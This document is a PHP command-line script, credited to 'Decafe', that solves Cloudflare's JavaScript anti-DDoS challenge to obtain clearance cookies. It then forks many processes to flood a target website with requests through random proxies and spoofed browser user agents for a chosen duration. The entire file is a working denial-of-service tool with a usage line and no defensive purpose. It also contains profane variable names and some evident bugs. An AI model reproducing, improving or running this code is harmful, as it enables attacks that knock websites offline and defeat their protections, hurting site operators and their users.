DDoS protection by Cloudflare

if($argc != 5) {
 
 echo "Usage: php $argv[0] http://site.com/ (proxy list set to dog if none)(threads)(time)\n";
 
 die();
 
}
 
function get_between($string,$start,$end)
 
{
 
 $string = " ".$string;
 
 $ini = strpos($string, $start);
 
 if($ini==0) return "";
 
 $ini += strlen($start);
 
 $len = strpos($string, $end, $ini) - $ini;
 
 
 
 return substr($string, $ini, $len);
 
}
 
function rand_line($fileName, $maxLineLength = 4096) {
 
 $handle = @fopen($fileName, "r");
 
 if ($handle) {
 
 $random_line = null;
 
 $line = null;
 
 $count = 0;
 
 while (($line = fgets($handle, $maxLineLength)) !== false) {
 
 $count++;
 
 if(rand() % $count == 0) {
 
 $random_line = $line;
 
 }
 
 }
 
 if (!feof($handle)) {
 
 echo "Error: unexpected fgets() fail\n";
 
 fclose($handle);
 
 return null;
 
 } else {
 
 fclose($handle);
 
 }
 
 return $random_line;
 
 }
 
}
 
function bypassyourdog($domain, $useragent, $proxy) {
 
 $cURL = curl_init();
 
 curl_setopt($cURL, CURLOPT_URL, $domain);
 
 curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
 
 curl_setopt($cURL, CURLOPT_HEADER, 1);
 
 curl_setopt($cURL, CURLOPT_USERAGENT, $useragent);
 
 curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, true);
 
 curl_setopt($cURL, CURLOPT_PROXY, $proxy);
 
 curl_setopt($cURL, CURLOPT_COOKIEFILE, "cookie.txt");
 
 $string = curl_exec($cURL);
 
 curl_close($cURL);
 
 if(strstr($res, "DDoS protection by CloudFlare")){
 
 return 'UAM not detected.';
 
 }
 
 $domain = get_between($string, ' ', '.');
 
 $jschl_vc = get_between($string, '"jschl_vc" value="', '"/>');
 
 $pass = get_between($string, '"pass" value="', '"/>');
 
 $settimeout = get_between($string, 'setTimeout(function(){', 'f.submit()');
 
 $mathvariables = get_between($settimeout, 'var t,r,a,f, ', ';');
 
 $mathvariable = explode('=', $mathvariables);
 
 $mathvariable1 = get_between($mathvariables, '{"', '":');
 
 $mathvariable2 = $mathvariable[0].".".$mathvariable1;
 
 $math1 = get_between($mathvariables, '":', '}');
 
 $math2 = $mathvariable[0].get_between($settimeout, ";".$mathvariable[0], ';a.value');
 
 $fuck = 0;
 
 $math2s = explode(';', $math2);
 
 $mathtotal = 0;
 
 $answers = array();
 
 $totalformath1 = 0;
 
 //echo "Domain: $domain\nJSCHL_VC: $jschl_vc\nPASS: $pass\nSet Timeout: $settimeout\n";
 
 if($pass == NULL) {
 
 file_put_contents('log.txt', $string, FILE_APPEND);
 
 }
 
 if(get_between($math1, '((', '))') != NULL) {
 
 $dog311 = get_between($math1, '((', '))');
 
 $math1ss = explode(')', $dog311);
 
 $math1sss = explode('+', $math1ss[0]);
 
 $math1ssss = explode('(', $dog311);
 
 $math1sssss = explode('+', $math1ssss[1]);
 
 $ifuckdog = 0;
 
 $ufuckdog = 0;
 
 foreach($math1sss as $imoutofvars2) {
 
 if ($imoutofvars2 == "!" || $imoutofvars2 == "!![]" || $imoutofvars2 == "![]") {
 
 $ifuckdog++;
 
 }
 
 }
 
 foreach($math1sssss as $imoutofvars3) {
 
 if ($imoutofvars3 == "!" || $imoutofvars3 == "!![]" || $imoutofvars3 == "![]") {
 
 $ufuckdog++;
 
 }
 
 }
 
 $totalformath1 = $ifuckdog.$ufuckdog;
 
 array_push($answers, $totalformath1." +");
 
 } else {
 
 $math1ss = explode('+', $math1);
 
 foreach($math1ss as $fuckmydog){
 
 if ($fuckmydog == "!" || $fuckmydog == "!![]" || $fuckmydog == "![]") {
 
 $totalformath1++;
 
 }
 
 }
 
 array_push($answers, $totalformath1." +");
 
 }
 
 foreach($math2s as $dog123){
 
 $typeofmath = substr($dog123, strlen($mathvariable2), 1);
 
 if(get_between($dog123, '((', '))') != NULL) {
 
 $dog321 = get_between($dog123, '((', '))');
 
 $poop = 0;
 
 $shit = 0;
 
 $mathss = explode(')', $dog321);
 
 $mathsss = explode('+', $mathss[0]);
 
 $mathssss = explode('(', $dog321);
 
 $mathsssss = explode('+', $mathssss[1]);
 
 foreach($mathsss as $imoutofvars) {
 
 if ($imoutofvars == "!" || $imoutofvars == "!![]" || $imoutofvars == "![]") {
 
 $poop++;
 
 }
 
 }
 
 foreach($mathsssss as $imoutofvars1) {
 
 if ($imoutofvars1 == "!" || $imoutofvars1 == "!![]" || $imoutofvars1 == "![]") {
 
 $shit++;
 
 }
 
 }
 
 $fuck = $poop.$shit;
 
 array_push($answers, $fuck." ".$typeofmath);
 
 $fuck = 0;
 
 } else {
 
 $fuckingdogs = explode('=', $dog123);
 
 $fuckingcats = explode('+', $fuckingdogs[1]);
 
 foreach($fuckingcats as $idinglecats) {
 
 if ($idinglecats == "!" || $idinglecats == "!![]" || $idinglecats == "![]") {
 
 $fuck++;
 
 }
 
 }
 
 array_push($answers, $fuck." ".$typeofmath);
 
 $fuck = 0;
 
 }
 
 }
 
 foreach($answers as $answer) {
 
 $ilikedogs = explode(' ', $answer);
 
 switch($ilikedogs[1]) {
 
 case "+":
 
 $mathtotal = $mathtotal + $ilikedogs[0];
 
 break;
 
 case "-":
 
 $mathtotal = $mathtotal - $ilikedogs[0];
 
 break;
 
 case "*":
 
 $mathtotal = $mathtotal * $ilikedogs[0];
 
 break;
 
 }
 
 }
 
 $jschl_answer = strlen($domain) + $mathtotal;
 
 $domain1 = $domain."/cdn-cgi/l/chk_jschl?jschl_vc=$jschl_vc&pass=$pass&jschl_answer=$jschl_answer";
 
 usleep(3000000);
 
 $cURL1 = curl_init();
 
 curl_setopt($cURL1, CURLOPT_URL, $domain1);
 
 curl_setopt($cURL1, CURLOPT_RETURNTRANSFER, 1);
 
 curl_setopt($cURL1, CURLOPT_HEADER, 1);
 
 curl_setopt($cURL1, CURLOPT_USERAGENT, $useragent);
 
 curl_setopt($cURL1, CURLOPT_FOLLOWLOCATION, true);
 
 curl_setopt($cURL1, CURLOPT_PROXY, $proxy);
 
 curl_setopt($cURL1, CURLOPT_COOKIEFILE, "cookie.txt");
 
 $test = curl_exec($cURL1);
 
 $cfuid = get_between($test, '__cfduid=', '; expires');
 
 $cf_clearance = get_between($test, 'cf_clearance=', '; expires');
 
 //echo '__cfduid='.$cfuid.';>
 
 return '__cfduid='.$cfuid.';>.$cf_clearance;
 
}
 
$useragents = array(
 
 "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 
 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
 
 "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
 
 "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
 
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 
 "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
 
 "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
 
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
 
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
 
 "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
 
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
 
 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
 
);
 
$end = time() + $argv[4];
 
$threads = $argv[3];
 
$failed = 0;
 
$succeed = 0;
 
echo "Made by Decafe\n";
 
echo "Starting cf bypass on $argv[1] for $argv[4] seconds with $argv[3] threads\n";
 
for($i = 0; $i < $threads; $i ++){
 
 $pid = pcntl_fork();
 
 if($pid == -1) {
 
 echo "Forking failed on $i loop of forking.\n";
 
 exit();
 
 } elseif($pid) {
 
 continue;
 
 } else {
 
 if(!(strpos($argv[2], "dog"))) {
 
 $proxy = rand_line($argv[2]);
 
 } else {
 
 $proxy = NULL;
 
 }
 
 $ua = $useragents[array_rand($useragents)];
 
 $bypasscookie = bypassyourdog($argv[1], $ua, $proxy);
 
 if(strlen($bypasscookie) > 70) {
 
 while($end > time()) {
 
 $flood = curl_init();
 
 curl_setopt($flood, CURLOPT_URL, $argv[1]);
 
 curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1);
 
 curl_setopt($flood, CURLOPT_USERAGENT, $ua);
 
 curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true);
 
 curl_setopt($flood, CURLOPT_PROXY, $proxy);
 
 curl_setopt($flood, CURLOPT_COOKIE, $bypasscookie);
 
 $flood123 = curl_exec($flood);
 
 curl_close($flood);
 
 }
 
 }
 
 die();
 
 }
 
}
 
for($j = 0; $j < $threads; $j++) {
 
 $pid = pcntl_wait($status);
 
}
 
?>